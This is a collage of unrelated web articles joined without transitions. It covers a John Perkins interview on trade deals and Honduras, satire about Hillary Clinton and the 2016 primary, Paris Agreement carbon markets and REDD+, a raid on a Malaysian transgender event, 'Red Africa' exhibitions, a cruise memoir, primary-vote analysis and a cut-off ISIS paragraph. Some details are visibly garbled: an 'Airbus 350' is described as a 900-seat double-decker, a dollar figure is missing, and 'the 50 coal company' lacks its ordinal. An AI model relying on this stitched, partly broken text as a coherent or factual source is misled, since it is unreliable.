van Gelder: I want to ask you about the Trans-Pacific Partnership, and other trade deals. Is there any way that we can beat these things back so they don't continue supercharging the corporate sphere at the expense of local democracies?

Perkins: They're devastating; they give sovereignty to corporations over governments. It's ridiculous.

We've got to let corporations know what their job is: It's to serve a public interest, and make a decent rate of return for investors.

We're seeing terrible desperation from people in Central America trying to get away from a system that's broken, primarily because our trade agreements and our policies toward Latin America have broken them. And we're seeing, of course, those similar things in the Middle East and in Africa, these waves of immigrants that are swarming into Europe from the Middle East. These terrible problems that have been created because of the greed of big corporations.

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I was just in Central America and what we talk about in the U.S. as being an immigration problem is really a trade agreement problem.

They're not allowed to impose tariffs under the trade agreements--NAFTA and CAFTA--but the U.S. is allowed to subsidize its farmers. Those governments can't afford to subsidize their farmers. So our farmers can undercut theirs, and that's destroyed the economies, and a number of other things, and that's why we've got immigration problems.

van Gelder: Can you talk about the violence that people are fleeing in Central America, and how that links back to the role the U.S. has had there?

Perkins: Three or four years ago the CIA orchestrated a coup against the democratically elected president of Honduras, President Zelaya, because he stood up to Dole and Chiquita and some other big, global, basically U.S.-based corporations.

He wasn't assassinated but he was overthrown in a coup and sent to another country.He wanted to raise the minimum wage to a reasonable level, and he wanted some land reform that would make sure that his own people were able to make money off their own land, rather than having big international corporations do it.

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The big corporations couldn't stand for this. He wasn't assassinated but he was overthrown in a coup and sent to another country, and replaced by a terribly brutal dictator, and today Honduras is one of the most violent, homicidal countries in the hemisphere.

It's frightening what we've done. And when that happens to a president, it sends a message to every other president throughout the hemisphere, and in fact throughout the world: Don't mess with us. Don't mess with the big corporations. Either cooperate and get rich in the process, and have all your friends and family get rich in the process, or go get overthrown or assassinated. It's a very strong message.

van Gelder: Tell me about your time spent in Ecuador with indigenous people. I'm wondering if you could talk about how that experience has changed you?

Perkins: Many years ago when I was a Peace Corps volunteer in the Amazon with the Shuar indigenous people there, I was dying. I got very ill, and my life was saved in one night by a shaman. I'd come out of business school this is 1968, '69, and I had no idea what a shaman was, but it changed my life by helping me understand that what was killing me was a mindset--what they would call the dream.

I spent many years studying all this, and working with many different indigenous groups, and what I saw was the power of the mindset.

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The shamans teach us--the indigenous people teach us--once you change the mindset, then it's pretty easy to have the objective reality change around it. So, instead of the kind of economy we have now, a death economy, if we can change the mindset we can very quickly move into a life economy.

van Gelder: So what are the mechanisms by which a change in consciousness actually shifts things on the ground?

Perkins: Well, in my opinion the biggest catalyst that needs to go forward to change this is we've got to change the corporations. We've got to move from that goal that was stated by Milton Friedman in the 1970s, that the only responsibility of corporations is to maximize profits regardless of social and environmental costs.

We change the big corporations by telling them we're not going to buy from you anymore unless you change your goal. No longer should your goal be to maximize profits regardless of social and environmental costs. Make a decent rate of return for your investors, but serve us, we the people, or we're not buying from you.

van Gelder: You quote Tom Paine in your book: "If there must be trouble let it be in my day that my child may have peace." Why did you decide to use that quote?

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Perkins: Well, I think Tom Paine was brilliant in that statement. He understood how that would impact people. And he wrote that statement in December 1776.

Washington had lost just about every battle he ever fought; he wasn't getting any support from the Continental Congress; they weren't giving his men guns or ammunition or even blankets and shoes, and he was bogged down at Valley Forge. Paine realizes that he's got to somehow write something that will rally people, and there's nothing that rallies people more than to think about their children

That to me is where we're at right now. I've got a daughter and I've got an 8-year-old grandson. Bring on the trouble for me, OK, but let's create a world they're going to want to live in. And let's understand that my 8-year-old grandson cannot have an environmentally sustainable and regenerative, socially just, fulfilling world unless every child on the planet has that.

And this is new. It used to be all we had to worry about was our local community, maybe our country. But we didn't have to worry about the world. But what we know now is that we can't have peace anywhere in the world, we can't have peace in the U.S., unless everybody has peace.

Sarah van Gelder wrote this article for YES! Magazine. Sarah is co-founder and editor at large of YES! Follow her on Twitter @sarahvangelder.

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Hillary Clinton has a lot of opinions on how a candidate losing a Democratic primary should act -- it's just that she's shed all of them since she became the front-runner.

Fortunately, the Internet.

With the help of this tool apparently no one in the mainstream media has access to, we can see what Clinton really thinks is the appropriate way forward for Bernie Sanders -- once we've stripped away the rank spin that media reports now confuse with principle.

(I can still remember media incredulity, but my memory's getting a little foggy.)

So, for the benefit of both the mainstream media and Clinton supporters who believe, along with The New York Times and The Washington Post, that anything coming out of the Clinton camp right now is inspired by first principles, here are five pieces of advice Hillary Clinton (2008 edition) has for Bernie Sanders:

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1. Ask the super-delegates to overturn the will of the voters (as expressed by pledged delegates and the popular vote) if you can make the argument that you're more electable than your opponent.

Yes, this was Clinton's strongly held view in 2008.

Sanders' electability arguments, which are voluminous, can be found here.

2. Argue that if your opponent's delegate lead is under 100, the delegate race should be considered a "tie."

This would seem to suggest that Clinton's current lead on Sanders is, at worst, 130 delegates rather than 230 -- as Sanders closing the gap between him and Clinton by 131 delegates over the next two months and twenty primaries and caucuses would result in a pledged-delegate "draw."

Yes, this is what was coming out of the Clinton camp in 2008.

3. Antagonize super-delegates by telephoning them as much as possible until they come around to your side.

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The New York Times explains how it was for two 2008 super-delegates:

"After switching to Mr. Obama two weeks ago, the Clinton campaign bombarded Patsy Arceneaux with dozens of calls, she said. 'You can't imagine how stressful this has been,' Arceneaux said. 'It had gotten to where my life had just been taken over by this.' Debbie Marquez, a super-delegate from Colorado, said she had made up her mind to shift to Mr. Obama, largely because he opposed the Iraq war from the start. The ex-president [Bill Clinton] called and talked for 45 minutes, she said. 'When people talk about the finger wagging and lecturing in his speeches, I kind of felt that was going on over the phone,' Ms. Marquez said."

4. Have your supporters harangue the presumptive nominee about making you either Vice President or Secretary of State or (in Sanders' case) openly supporting your bid to be Senate Minority (or Majority) Leader.

In 2008, this effort started on the day Clinton conceded -- a concession that only came after an overwhelming number of people convinced the candidate, who was not herself so inclined, to step aside.

5. Allow your name to be put into nomination for the roll-call vote at the Democratic National Convention, thereby allowing more than 1,000 delegates to cast their votes for you until -- almost comically belatedly -- you sweep in to remove your name from consideration. Which you easily could have done weeks before the Convention.

Yes, this happened.

In fact, it was much worse than this. Clinton did nothing to stop her super-delegates and supporters from threatening to "stage a walkout or leave Denver altogether after she speaks [to the Convention], to protest what they view as a flawed and sexist party nominating process."

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Instead, per The Washington Post, Clinton "suggested a roll-call vote."

President Obama, reluctantly responding to these threats from the Clintonites, agreed.

Said Clinton in closed-door meetings at the time, "My supporters have incredible pent-up feelings....[t]he best way I think to [release them] is to have a strategy so that my delegates feel like they've had a role and that their legitimacy has been validated. It's as old as Greek drama. There's a catharsis. Everybody comes, and they want to yell and scream and have their opportunity, and I think that's all to the good."

So Bernie -- says Hillary (2008 edition) -- make sure you insist that the 46 percent (or more) of Convention delegates who supported you over Secretary Clinton get their opportunity to publicly show the country just how close the race was, and how weak a candidate Clinton was, thereby maximizing your capital at the Convention.

And with that capital -- Hillary-2008 might have said eight years ago, had she not already been planning a Hillary-2016 -- demand the following of Democratic primaries going forward:

Abolition of super-delegates.

Abolition of closed primaries.

Abolition of super-PACs.

Abolition of regulations prohibiting same-day party registration.

Abolition of inconveniently timed primary debates.

Abolition of artificially limited debate schedules.

Abolition of shady "joint fundraising" efforts like those of the DNC and HVF.

Abolition of caucuses (assuming no more closed primaries, either).

Abolition of a set (rather than rotating) state primary schedule.

All of which Democratic Party practices both discourage insurgents and work to the advantage of those, like Clinton herself, who have absolutely no plans to change how political parties or the federal government does business.

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In an unusual moment of universal bonding, the population of the world has unanimously agreed to boycott God following the death of legendary artist Prince. "With so many people available to choose from whom no one would miss in the slightest, you have to take away Prince?" asked Reverend Jonas Falklesson of Armidale, Australia, while tearing off his clerical collar and tossing it in a fire. "Seriously? Prince? No. Sorry. I already went through this with Bowie. It's just the last fucking straw." Similar reactions were expressed globally by other members of the newly-formed organization I M Thru With U.
Houston is drowning and the Brazilian Amazon is baking - along with large parts of California - while average global temperatures seem destined to rise at least 1.5 degrees Celsius (3.6 degrees Fahrenheit) over the next century.

That's the threshold beyond which climate science gets foggy, and it's gonna be a challenging hundred years, to say the least, but there's reason to celebrate this Earth Day.

In part, that's because leaders from 130 nations - among them 50 or so heads of government - are converging at the United Nations headquarters in New York to sign the historic Paris Climate Agreement that was adopted four months ago in Paris. That agreement will come into force as soon as 55 of them put their names on the dotted lines (provided they account for 55% of the world's greenhouse-gas emissions).

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We'll reach that threshold, and the only question is: which country will be the one to bring us over the top? That alone makes this year's agreement a far cry from the "Kumbayah" events of Earth Days past, which were often high on symbolism but weak on substance - but it's not just because so many political leaders have taken up the cause. More critical is the engagement of the private sector.

Yes, some "good" companies like Unilever, Marks&Spencer, and Microsoft have carried the torch for years, but most have either ignored it actively tried to kick it to the ground. That's all different now.

Risks and Opportunities

The meeting comes just two weeks after the world's largest publicly-traded coal company, Peabody Energy, also became the 50 coal company to declare bankruptcy since 2013 - a downside that the We Mean Business Coalition says will translate into a $13.5 trillion opportunity as countries implement the Paris Agreement. Put another way: each country that implements the agreement contributes $ billion to the pot, on average.

At the same time, more than 100 global companies have endorsed US President Barack Obama's Clean Power Plan - a cornerstone of the US contribution to the Paris Agreement.

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Nothing like this has ever happened before, and it all swirls around the Paris Agreement.

We'll Always Have Paris

In the new podcast, Bionic Planet, Ecosystem Marketplace editor Steve Zwick will be unpacking at least one hidden gem from the Paris Climate Talks each week. We'll be harvesting material from Ecosystem Marketplace and presenting it in audio form, while further exploring the interaction between man and the planet's living ecosystems. Be sure to check out our latest installment below.

Carbon Markets in the Paris Accord

When climate negotiators signed off on the historic Paris Agreement in December, they opened the door for the kind of cross-border trading of greenhouse-gas emissions that world leaders like Canada's Justin Trudeau and Ethiopia's Hailemariam Desalegn see as a critical step in getting companies to slash greenhouse-gas emissions today.

The agreement, however, doesn't explicitly mention carbon markets at all, but instead assumes that countries will develop them domestically. It's contribution is to recognize this and to say that countries can trade "Internationally Transferred Mitigation Outcomes" (ITMOs) among themselves to deepen the targets they've set in their Nationally-Determined Contributions (NDCs).

"These paragraphs do not, by themselves, create a market or a price for carbon," wrote Andrei Marcu, founder and former CEO of the International Emissions Trading Association, in a paper for European Policy Studies (CEPS). "What these paragraphs do is provide the ability to create an international market if any Parties so desire."

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The word "market", he points out, is nowhere to be found in the agreement, and that's OK.

"The fact that the word 'market; does not appear is neither here nor there," he added. "It does not appear in the Kyoto Protocol (KP) either. The absence of the work 'market' is deliberate, not accidental."

Countries Coalescing

Formal negotiations won't resume until the Bonn Climate Change Conference in late May, but there's been a whirlwind of activity around two multilateral initiatives. One is the Carbon Market Platform that Germany and Japan launched in October at the behest of the Group of Seven (G7) industrialized countries (Canada, France, Germany, Italy, Japan, the United Kingdom, and the United States). The other is a commitment to developing standards and guidelines for the environmental integrity of markets that New Zealand launched the day the Paris Agreement was adopted. Eighteen countries have endorsed the New Zealand declaration to-date, including Germany, which has reached out to New Zealand about pooling their efforts.

"We are keen to talk with countries about advancing the development of the global market and crucially, putting in place the standards and guidelines for environmental integrity," says Kay Harrison, who heads the New Zealand Environment Ministry's climate initiative.

Likewise, the G7 effort now finds itself with a much clearer mandate than it did before Paris, and it is in the process of updating its agenda to reflect that.

"We've had to re-shape the task of the in light of the Paris Agreement," says Julia Kleinschmidt, the environmental economist who's spearheading the effort within the German Ministry of Environment. "We're also looking to expand beyond the G7, and we hope to add other major emitting countries - like Brazil and China - maybe in the next few weeks."

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"There are certainly some difficult issues, but a lot of it's minutia," says Jeff Swartz, IETA's International Policy Director. "The planet can't wait for all that to be worked out, and the spirit of Article 6 is quite clear. It says to countries: 'You can go pursue your approach, but just make sure the accounting provisions are consistent with what's defined at the UNFCCC.'"

Nearly 40 national and more than 20 sub-national jurisdictions are participating or preparing to participate in emissions trading systems today, and other countries are considering other market options. Source: The World Bank

The Twofold Path

Article 6 of the Paris Agreement lays out two paths that countries can use to trade their emission-reductions internationally, and the two paths are not mutually exclusive. The first is the "cooperative" approach, which lets countries coordinate trading among themselves, provided they follow accounting principles that pass muster with the United Nations Framework Convention on Climate Change (UNFCCC). On the ground, this might resemble the kind of market linkages that California and Quebec have forged (with Ontario soon to join) and that China and South Korea are thinking about.

The second path, championed by Brazil, will be forged within the UNFCCC itself and offer a centralized mechanism for transferring emissions reductions. This centralized approach will likely build on the market infrastructure and experience of the Kyoto Protocol, so it pays to look back on it.

Forest Carbon in the Climate Accord

The mechanism now known as "REDD" (for "Reducing Emissions from Deforestation and Degradation") began percolating way back in the early 1970s, when physicist Freeman Dyson asked a simple question: "Can we control the carbon dioxide in the atmosphere" by planting trees that breathe in carbon dioxide and breathe out oxygen? His answer: yes, we can, but we'd still need to slash our industrial emissions to prevent catastrophic climate change. In the late 1980s, a policy analyst with the World Resources Institute named Mark Trexler realized you could sponge up even more carbon dioxide if you saved endangered rainforest rather than planting new trees, and the energy company Applied Energy Services (AES) worked with him to reduce their carbon footprint by doing just that.

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To measure the carbon, they used the same process that timber companies use to estimate the amount of wood in a forest: basically, measuring trees at chest-height and then applying "allometric equations" to see how much wood - and, by extrapolation, carbon - they contained. To determine which parts of the forest were in danger, they used a combination of econometric modeling and historic rates of deforestation (a process that was rudimentary at the time and resulted in over-counting, but which has been improved and refined over the years).

Since then, indigenous people from Brazil to Kenya have used REDD to save endangered forest by jump-starting sustainable business activities like harvesting acai berries or Brazil nuts, or even just adopting more efficient woodstoves. From the start, however, REDD was plagued by the false duality that sees an either/or relationship between morality and markets - a view just as crippling as the pure free-market fundamentalism that got us into this mess. (It's a way of thinking that also concludes you either save the forests or you reduce industrial emissions; in reality, we must do both.)

Article 5: REDD+

Article 5 contains just two paragraphs, but those paragraphs refer to at least a dozen decisions and elements of other agreements, and the entire history of this extraordinary document is there if you know to look for it.

Paragraph 1: Parties should take action to conserve and enhance, as appropriate, sinks and reservoirs of greenhouse gases as referred to in Article 4, paragraph 1(d), of the Convention, including forests.

This refers to that part of the framework convention itself that recognizes "common but differentiated" responsibilities between rich and poor countries, and also the need to promote the sustainable management of natural carbon sinks, including "biomass, forests and oceans as well as other terrestrial, coastal and marine ecosystems." It's echoed in the Paris agreement, which recognizes the "importance of ensuring the integrity of all ecosystems, including oceans, and the protection of biodiversity, recognized by some cultures as Mother Earth, and noting the importance for some of the concept of 'climate justice', when taking action to address climate change."

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Paragraph 2: Parties are encouraged to take action to implement and support, including through results-based payments, the existing framework as set out in related guidance and decisions already agreed under the Convention for: policy approaches and positive incentives for activities relating to reducing emissions from deforestation and forest degradation, and the role of conservation, sustainable management of forests and enhancement of forest carbon stocks in developing countries; and alternative policy approaches, such as joint mitigation and adaptation approaches for the integral and sustainable management of forests, while reaffirming the importance of incentivizing, as appropriate, non-carbon benefits associated with such approaches.

This is a mouthful, so let's break it down. "Results-based payments," means money, to be paid from one country to another based on the amount of extra carbon the receiving country keeps locked in forests as a result of actions that countries take to slow deforestation. These payments may be "market-based", which means the country paying for them then gets to reduce its own emissions by the additional amount of carbon locked in trees, or they may be "non-market" based, in which case the country receiving the payment also gets credit for the emission-reduction achieved - but that is dealt with in Article 6.

"The existing framework as set out in related guidance and decisions already agreed under the Convention," refers to roughly a dozen decisions made over the years regarding the measurement of forests, the establishment of reference levels, and the role of indigenous people in preserving forests.

"Activities relating to reducing emissions from deforestation and forest degradation" refers to REDD, but without mentioning the acronym directly, because it's become a target for people with duality delusion syndrome.

"The role of conservation, sustainable management of forests and enhancement of forest carbon stocks in developing countries; and alternative policy approaches, such as joint mitigation and adaptation approaches for the integral and sustainable management of forests," is the "+" in "REDD+" - all the other land-use issues associated with farms and fields.

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People hold hands during a protest demanding the rights of the lesbian, gay, bisexual, and transgender (LGBT) community, at the Congress building in Bogota November 27, 2012. The protest was also against Senator Roberto Gerlein's recent derogatory comments on homosexuality during a debate on a proposed gay marriage bill in Congress, according to local media. REUTERS/John Vizcaino (COLOMBIA - Tags: SOCIETY CIVIL UNREST POLITICS)

The raid of 3rd April

The Malaysian transgender community who hosted and held a dinner and beauty contest for the trans women community recently were raided by Malaysian religious authorities, The Federal Territories Islamic Department (JAWI) on 3rd of April. The religious authorities gatecrashed the closed-door dinner event without police personnel accompanying them on the grounds that it violated a fatwa against beauty pageants that were gazetted for the muslim women under the Administration of Islamic Law (Federal Territories) Act in February 1996.

10 JAWI officers, together with the media, came to the hotel at about 10pm on 3rd of April and prevented people from leaving the dinner that had about 200 transgender guests. The transgender organizer, Ira Sophia, as well as lawyer-turned activist Siti Kasim were arrested later while the rest of the guest were let go. The appalling thing is that the JAWI officers didn't have any warrant.

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Lawyer and activist Siti Kasim, who had attended the closed-door function at one of the hotel in Kuala Lumpur were apprehended by the religious authorities, and they have also detained the event's transgender event organizer. The transgender woman who purportedly organized a beauty pageant may be charged with encouraging vice and defying religious authorities, while Siti Kasim was charged for obstructing the duties of a public servant but was on bail after.

"The officer told me that it's against the law to have a beauty contest -- it's 'haram' in Malaysia, based on a fatwa," Siti told Malay Mail Online on 5th of April.

"The Maknyah (transgender women) were simply having dinner and doing a show as if it is a beauty contest and each of them pretended to represent a country of their choice," she said.

According to Siti Kasim too, JAWI officer said the department was there as they had received a complaints about the illegal "Beauty Contest," but she stressed that the event was only a show meant to raise funds for charity for the local marginalized communities in Kuala Lumpur.

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The video of the incident of the unlawful raiding and arrest can be viewed here.

The ordeals that Trans Women & the LGBT Community in Malaysia have to face

The complete list of what the trans women community have to face in Malaysia can be found at Justice For Sister's website, especially with their recent court appeal, and them challenging the law that discriminates against them. They had been facing a downward spiral of discrimination ever since the fatwa criminalized transgender and gender transition since the 1980s; before they would have the right to change their gender legally but now they can't even land a job, or even walk on the street without being harassed, abused, assaulted or even arrested.

The transgender community, especially the trans women community are often driven to drug abuse or sex slavery as it is the one way to survive in such unbearable circumstances.

The government should've embarked on programs to raise awareness about the transgender community, on LGBT people, on sex education, sexuality and gender diversity as well as teaching others to be more empathic towards them. Unfortunately, the government are actively using the LGBT community as a scapegoat for their political and religious turmoils.

Recently Datuk Dr Asyraf Wajdi Dusuki, deputy minister in the Prime Minister's Department in charge of Islamic affairs, stated that being transgender is equivalent to rejecting God's wisdom in creating people in their specific genders. He said that being transgender and adhering to that kind of lifestyle is equal to challenging Allah and the Prophet.

While at the same time, Jamil Khir, member of the Parliament, acting under their behalf stated that existence of lesbian, gay, bisexual and transgender (LGBT) individuals among the Muslim community are related to mental disorder and HIV/Aids. Jamil Khir is known to be an outspoken opponent of homosexuality. He also had said before that same-sex marriage is a form of "extreme human rights" and "will create social problems." He also criticized LGBT-rights event Seksualiti Merdeka for promoting "a deviation from society's norms.

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The Malaysian LGBT activist coalition, Seksualiti Merdeka, are urging the Malaysian government and society to stop the inhumane, oppressive treatment that they are asserting towards the LGBT community especially the trans women community, and urging the society and government to engage in civil dialogue with the marginalized society instead.

The discrimination, criminalization and oppression of the LGBT community, especially the trans community in Malaysia should be brought to an end. They deserve the chance to live and receive justice that is long overdue.
Congo's first democratically elected prime minister Patrice Lumumba was a celebrity in Yugoslavia. Lumumba's execution in 1961 caused such outrage that the Belgian embassy in the Yugoslav capital Belgrade was ransacked.

Yugoslav leader Josip Tito was himself a regular visitor to Africa - he went to Gamal Abdel Nasser's Egypt 20 times. Tito's aim was to consolidate the socialist friendship sweeping through the 1960s.

Such connections in the 1960s-70s and their contemporary legacies are revealed in two striking recent cultural seasons: "Red Africa" at the Calvert 22 in London and "The Sixties - A Worldwide Happening" in Amsterdam's Tropenmuseum.

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Calvert 22

"Red Africa" was centred on the "Things Fall Apart" exhibition and accompanying special report of the Calvert Journal. It focused on relations between Africa, the Soviet Union and related socialist countries (1960s-80s). It did so via art, film, photography and architecture.

"The Sixties" and its book was more catholic. It foregrounded the non-Western history of this most iconic liberation era. Through fashion, art and music it stressed the promiscuous connections that pulsed across the world.

Warm clasp of friendship

One particular idea shone through both exhibitions for me: the importance of globally entangled utopianisms for Africa. It was such thinking that embroidered the martyr icon of Lumumba and conditioned the warm clasp of Tito's hand of friendship.

Utopianism is the imagination and exposition of a society that does not exist. ("Utopia" derives from the Greek "no-place".) But it has intrinsically more desirable qualities than what persists in reality.

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From philosophers like Thomas More to William Morris, the purpose of utopian expression has been to critique existing societies and ideologies. Utopianism gives collective purpose to build a better future, to emphasise the ethical or practical shortcomings of the status quo.

For independent Africans in an era of new Cold War opportunity, utopianism was not ethereal or naive (as the term is commonly understood). It was steeped in a realist understanding of the trajectory of global power. Utopian thinking created new international friendships and would construct a brighter, very possible postcolonial future.

There hasn't been enough space for utopianism in the consideration of independent African nations and their foreign relations.

We don't delve enough into the imaginative lives of Africans struggling to build a postcolonial world. Looking backwards, we have tended to dismiss idealised communities of solidarity. The security of "realism" and dark pall of neocolonialism pervade.

The Wayland Rudd Collection

Increasingly, however, pioneers - artists, academics and activists from the progressive world - are seeking out what African citizens dreamed at the buoyant moment of independence and its tumultuous aftermath.

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They assess how utopian hopes entangled with wider global currents to build a free future in the 1960s. From the 1970s, utopian expression has creatively criticised the very deficiencies of liberation.

As demonstrated at "Red Africa" and "The Sixties", art is at the vanguard of such real-world concerns.

'Red Africa' and 'The Sixties': socialism and optimism

Utopianism was under the surface of "Red Africa". Behind-the-scenes snaps of Tito's safaris sat next to the beguiling 2016 film "Our Africa". Here Russian filmmaker Alexander Markov unravels how Soviet filmmakers recorded the "joyous" expansion of socialism. Footage of African leaders dancing Russian jigs on state tours of the Soviet Union illustrates how propagandists presented the Tanzanian ideology of "Ujamaa" and Africa as integral to world socialist development.

James Barnor / Tropen Museum

Korean photographer Onejoon Che uncovers the fascinating story of the Mansudae Art Studio. Established in 1959, it aided the construction of macho "socialist realist" African monuments as part of North Korea's controversial charm offensive.

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It was an interesting ride. But "Red Africa" prompted me to think more about how Africans themselves shaped and utilised such utopian internationalisms in those heady days of independence.

A visit to "The Sixties" with our new Afro-Asian Networks research group reinforced the feeling. The collection powerfully evoked a moment of intense optimism and global connection. For example, soul superstar James Brown provided the soundtrack for youth in Mali's capital of Bamako. It got portrayed in the vivacious photos of the late Malick Sidibe.

We were reminded to take seriously those future-oriented visions of the ebullient and utopian 1960s.

Utopianism in Africa: a necessity?

Utopianism is a particularly neglected prism through which to view Africa's varied independent landscapes.

Through African literature, which leads the charge, academic Bill Ashcroft argues for the very "necessity of utopia" in Africa. Utopia - "the un-place" - is the key space where ideas of colonialism or catastrophe undermining African people can be challenged. Ashcroft says:

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What is remarkable about African literature and cultural production is the stunning tenacity of its hope ... conceptions of utopian hope - the 'not-yet' - is always a possibility emerging from the past.

And it was the global entanglement of varied utopianisms that shone through at "Red Africa" and "The Sixties".

It was bright in the work of Russian artist Yevgeniy Fiks. His collection of Soviet art depicting African and African-American life revealed racism of representation. But Fiks saw, as he explains:

a very complex and contradictory legacy in which there is room for genuine internationalism, anti-racism and solidarity, alongside racial stereotyping and objectification.

That African intellectuals and those in the diaspora found such sanitised images empowering is genuinely important.

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In the words of Harlem Renaissance titan Langston Hughes:

Good morning Stalingrad!/ You're half a world away or more/ But when yourguns roar,/ They roar for me --/ And for everybody/ who wants to be free.

Engaging globally connected utopianisms - the un-places; the spaces of hope - is necessary to properly comprehend the intricacies of African decolonisation and independence.

Science fiction

It seemed fitting to depart "Red Africa" in one major arena of utopianism: science fiction.

Calvert 22 Gallery

But his images point to something unsettling for Angola, that "magnificent and beggar land". His utopian critique creates "a memorial to a future that never came to pass", an indictment of an independence failed.

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For Henda, there are two things that are of vital interest for Africa:

the ability to know about and write your own history, and the ability to plan for the future.

Looking to utopianism seems one fruitful route for these enmeshed historical and contemporary civil society agendas. We need, ourselves, to be more utopian perhaps.

Gerard McCann, Lecturer in African and Transnational History, University of York
I have just returned from a glorious mid-spring vacation, a one week cruise through the middle Mediterranean on a small vessel, "The Silver Cloud." It was an over-the top birthday present.

The itinerary was SFO to JFK to Rome, one night at the fine hotel Hassler at the top of the Spanish Steps, dead sleep, then a few precious hours in the Eternal City to rekindle old memories. I chose to go to St. Peter's to see if La Pieta is still as spectacular as it was on past visit. It was and is.

Then a two hour taxi ride to port where we boarded our lovely ship. Immediately, I met with my porter who turned out to be from Darjeeling in India. He was delighted when I told him that I had actually visited his village as it was the terminus of the toy train that was featured in Cinerama many years ago.

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We sailed for Sorrento at six and wakened already anchored off the lovely shore.

This day, as well as the subsequent five, was devoted to learning about our port of anchorage.

Clearly my favorite spot was Malta. I had anticipated this moment by reading up extensively about the famous siege of Malta in 1565 when a huge force of infidels from Istanbul had sought to capture this tiny island from the Crusaders. For many months the defenders repulsed the varied attacks. Fort St. Elmo finally was taken, but the Crusaders miraculously held out until a rescue armada appeared. This whole siege probably changed history, and is wonderfully captured by a documentary shown within the ramparts of St. Elmo.

On April 15 we anchored off of Nice, where a cab delivered us to the airport, and then a short flight to Paris. The days on board the "Silver Cloud" remained vivid, but lasted for far too brief a moment.

Paris deserves all of its great testimonials, but our one night stay allowed only an afternoon exploration that I used to walk directly to the Louvre and for a 15 dollar admission (I recalled that Disney World was 115$) gained entry to the acres of art that are world treasures. Venus de Milo and Mona Lisa welcomed me back.

We savored our last night at a restaurant that Gretchen had previously noted. Simply spectacular food plus a terrific French beer, I thought that the French only drank wine (wrong again).

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Too short a sleep bought departure urgency. The airport provided the most memorable of all the trip's moments, as I beheld our prospective plane that was to take us home. I was flabbergasted. It was huge! There was absolutely no way that this monstrous machine could ever get off the ground. I had earlier flown on a 747, and that was incredible. But this plane, an Airbus 350, was 40 percent larger yet. It is capable of carrying 900 passengers, our Air France configuration accommodated 550, but still... it has 330 miles of wires. It takes 950 gallons of paint to gloss it up. It has 22 wheels, and is so big that airports must be specially designed to accommodate it. It has two complete decks. There are now 184 such planes aloft.

I was on deck 2 in Tourist Plus section, but my knees were still under my chin which made the 11  hour flight to LAX seem endless. Also, despite the varied amenities it still featured two screaming kids, and assorted turbulence over the Rockies.

Disembarkment was eventful as I exited in company with French ex-President Sarkozy, wife and kid. He must have up-graded to first class. I was the first to welcome him to the good old U.S. of A.

The final leg of this excursion was a limo to Santa Barbara where I spoke about successful aging Monday evening to the outstanding City College where I recalled hearing dear friend Norman Cousins speak 20 years ago.
Hillary Clinton's very impressive New York primary victory over Bernie Sanders points up some of her most significant strengths as a political figure. She generally performs quite well on a big stage. And there are few bigger presidential primary stages than that of New York.

Clinton's latest victory was her seventh in eight primaries so far among the 10 most populous states in the Union.

Oddly, there is little if any media focus on the campaign dynamic that accounts for her tightening grip on the Democratic presidential nomination. For it is clearly Hillary's near across-the-board strength in big state primaries that accounts for her dominant 2.7 million vote lead in the Democratic popular vote over Sanders and her commanding lead of nearly 280 in pledged delegates won in primary elections and caucuses.

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Those leads, essentially insurmountable at this point, are buttressed by Clinton's overwhelming 502-38 lead in support among party leader "super-delegates." If there were no super-delegates, Clinton would be on a relatively easy course to winning the convention majority well before the convention.

Ironically, it's only because there are now so many super-delegates, more than in my day in these campaigns, that the Sanders campaign is able to argue that Clinton can only win with super-delegate votes. No super-delegates, clearcut Hillary Clinton victory. Which is the exact opposite of the impression many prefer to create.

When you look at the big picture of the big 10 states, Hillary's overall lead is anything but surprising.

She has beaten Sanders in New York, Florida, Illinois, Ohio, Texas, Georgia, and North Carolina. Only in Michigan, among the nation's 10 most populous states, did Sanders prevail. And then only by a 2-percentage point margin, less than 20,000 votes. Of Hillary's seven victories out of eight in the top 10 primaries so far, all but one was by a blow-out margin.

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In fact, those seven big state primary victories account for 2 million popular votes in her 2.7 million popular vote advantage over Sanders.

For all his great success in turning on the young generation of voters, drawing large and enthusiastic crowds, mainstreaming democratic socialism, and raising incredible amounts of money from millions of small donors, Sanders is as competitive as he has been primarily due to his strength in small-turnout, activist-dominated caucuses.

What is it that has enabled Hillary Clinton to dominate the biggest contests that have dominated the Democratic presidential race, even though she is now being routinely out-spent by the Sanders online financial bonanza?

Well, for starters, like Barack Obama, she knows how to appeal to diverse constituencies, including those of ethnicity and gender. Her policy views have shifted to the left -- back toward what appear to have been her old views when she first entered politics, as it happens -- following most Democratic voters in a progressivization of the electorate in the new globalized environment. She is part of a very powerful brand in American politics. She is very knowledgeable and experienced, a steady and effective if hardly scintillating performer on a large and demanding stage. And she is someone who tends to rise to the occasion.

Though Sanders has dominated most of the caucus states, which play to his strength amongst the most fervent voters, let's not forget that there were two caucus states that Hillary had to win in order to keep the shape of the race in her ultimate favor.

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Those caucus states were Iowa, the first-in-the-nation contest, and Nevada, third in the nation. Both back in February. She won them both. Barely. But she did win.

As I wrote at the time, especially when I first reported that Nevada was falling rapidly within his grasp, had Sanders won either Iowa or Nevada, the race would turn dramatically in his direction. That was especially so if he won both.

Sanders can't say that the nomination was never within reach.

But it did not materialize. Now Sanders must hope for a near total collapse on Clinton's part. And, if we've learned anything about Hillary Clinton over the years, she is not someone who wilts under pressure.

Sanders would have to start winning the few remaining big state primaries to have even a prayer of convincing super-delegates to switch to him. And next week looks likely to bring more Sanders defeats in such contests, as Hillary leads by double digits in Pennsylvania, the second to last primary among the 10 biggest states, and in Maryland, a top 20 state in population.

Sanders may win some more smaller states going forward, and he trails by only single digits in the biggest prize of all, California, still a month and a half away. But as old friends Gary Hart and Jerry Brown can attest, winning the California primary hardly guarantees the Democratic presidential nomination.

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Still, Sanders can win the California primary, an important showing, and I'm planning to vote for him in it.

For Sanders is about expanding the index of possibility with regard to economic and social justice and a sustainable future for the planet.

That's worthy of respect and support, notwithstanding any disagreement on policy particulars.

And, while Hillary Clinton has many admirable qualities -- her election this fall will be very important, especially given the horrifying dynamics in the once Grand Old Party -- it's good to maintain some pressure. As longtime readers know, I've not infrequently disagreed with Hillary on geopolitics and other matters. And even her hero Franklin D. Roosevelt wanted to be pressured.
As President Obama discusses terrorism strategy with European leaders, he can claim credit for the progress being made in the war against ISIS in Iraq and Syria. ISIS is losing territory. It is losing money. Its cyber network is being attacked, which will make its recruitment efforts more difficult. All signs point toward a significant diminishing of ISIS in Iraq and potentially Syria.

